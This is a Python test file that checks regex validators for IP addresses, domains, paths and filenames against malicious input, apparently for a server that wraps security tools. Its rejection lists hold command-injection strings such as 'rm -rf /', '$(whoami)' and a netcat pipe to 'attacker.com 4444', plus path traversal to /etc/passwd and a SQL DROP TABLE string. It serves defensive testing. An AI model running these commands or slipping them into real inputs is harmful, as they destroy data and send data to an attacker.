test_security.py•4.94 kB
#!/usr/bin/env python3
"""
Security validation test for input sanitization functions
"""
import re
import sys
from pathlib import Path
# Copy the security patterns from server.py for testing
SAFE_IP_PATTERN = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(?:/(?:3[0-2]|[12]?[0-9]))?$')
SAFE_DOMAIN_PATTERN = re.compile(r'^[a-zA-Z0-9.-]+$')
SAFE_PORT_PATTERN = re.compile(r'^[0-9]{1,5}$')
SAFE_PATH_PATTERN = re.compile(r'^(?!/\.\./|.*\.\./)[a-zA-Z0-9/_.-]+$')
SAFE_FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_.-]+$')
def test_ip_validation():
"""Test IP address validation"""
print("Testing IP address validation...")
valid_ips = [
"192.168.1.1",
"10.0.0.1",
"127.0.0.1",
"192.168.1.0/24",
"10.0.0.0/8"
]
invalid_ips = [
"300.300.300.300",
"192.168.1.256",
"192.168.1",
"192.168.1.1.1",
"192.168.1.1; rm -rf /",
"$(whoami)",
"../../../etc/passwd"
]
for ip in valid_ips:
if SAFE_IP_PATTERN.match(ip):
print(f" ✓ {ip} - valid")
else:
print(f" ✗ {ip} - should be valid but rejected")
for ip in invalid_ips:
if not SAFE_IP_PATTERN.match(ip):
print(f" ✓ {ip} - correctly rejected")
else:
print(f" ⚠ {ip} - SECURITY ISSUE: should be rejected!")
def test_domain_validation():
"""Test domain name validation"""
print("\nTesting domain name validation...")
valid_domains = [
"example.com",
"sub.example.com",
"test-site.org",
"123.example.com"
]
invalid_domains = [
"example.com; rm -rf /",
"$(whoami).com",
"../../../etc/passwd",
"example.com | nc attacker.com 4444",
"example.com'\"",
"example.com\n\necho pwned"
]
for domain in valid_domains:
if SAFE_DOMAIN_PATTERN.match(domain):
print(f" ✓ {domain} - valid")
else:
print(f" ✗ {domain} - should be valid but rejected")
for domain in invalid_domains:
if not SAFE_DOMAIN_PATTERN.match(domain):
print(f" ✓ {domain} - correctly rejected")
else:
print(f" ⚠ {domain} - SECURITY ISSUE: should be rejected!")
def test_path_validation():
"""Test file path validation"""
print("\nTesting path validation...")
valid_paths = [
"/usr/share/wordlists/common.txt",
"/tmp/output.txt",
"/home/user/file.txt",
"relative/path/file.txt"
]
invalid_paths = [
"../../../etc/passwd",
"/path; rm -rf /",
"/path$(whoami)",
"/path | nc attacker.com 4444",
"/path'\"",
"/path\n\nrm -rf /"
]
for path in valid_paths:
if SAFE_PATH_PATTERN.match(path):
print(f" ✓ {path} - valid")
else:
print(f" ✗ {path} - should be valid but rejected")
for path in invalid_paths:
if not SAFE_PATH_PATTERN.match(path):
print(f" ✓ {path} - correctly rejected")
else:
print(f" ⚠ {path} - SECURITY ISSUE: should be rejected!")
def test_command_injection():
"""Test command injection prevention"""
print("\nTesting command injection prevention...")
injection_attempts = [
"; rm -rf /",
"| nc attacker.com 4444",
"&& echo pwned",
"$(whoami)",
"`id`",
"\n\nrm -rf /",
"''; DROP TABLE users; --",
"../../../etc/passwd"
]
# Test that our regex patterns catch common injection attempts
patterns_to_test = [
("IP", SAFE_IP_PATTERN),
("Domain", SAFE_DOMAIN_PATTERN),
("Path", SAFE_PATH_PATTERN),
("Filename", SAFE_FILENAME_PATTERN)
]
for pattern_name, pattern in patterns_to_test:
print(f"\n Testing {pattern_name} pattern against injection attempts:")
for attempt in injection_attempts:
if pattern.match(attempt):
print(f" ⚠ SECURITY ISSUE: {pattern_name} pattern accepts: {repr(attempt)}")
else:
print(f" ✓ {pattern_name} pattern correctly rejects: {repr(attempt)}")
def main():
"""Run all security tests"""
print("🔒 Security Validation Tests")
print("=" * 50)
test_ip_validation()
test_domain_validation()
test_path_validation()
test_command_injection()
print("\n" + "=" * 50)
print("✓ Security testing complete!")
print("\nNote: These tests verify input sanitization patterns.")
print("Additional security measures in the actual server include:")
print("- Subprocess execution with limited privileges")
print("- Network target validation")
print("- Command timeout limits")
print("- Output size restrictions")
if __name__ == "__main__":
main()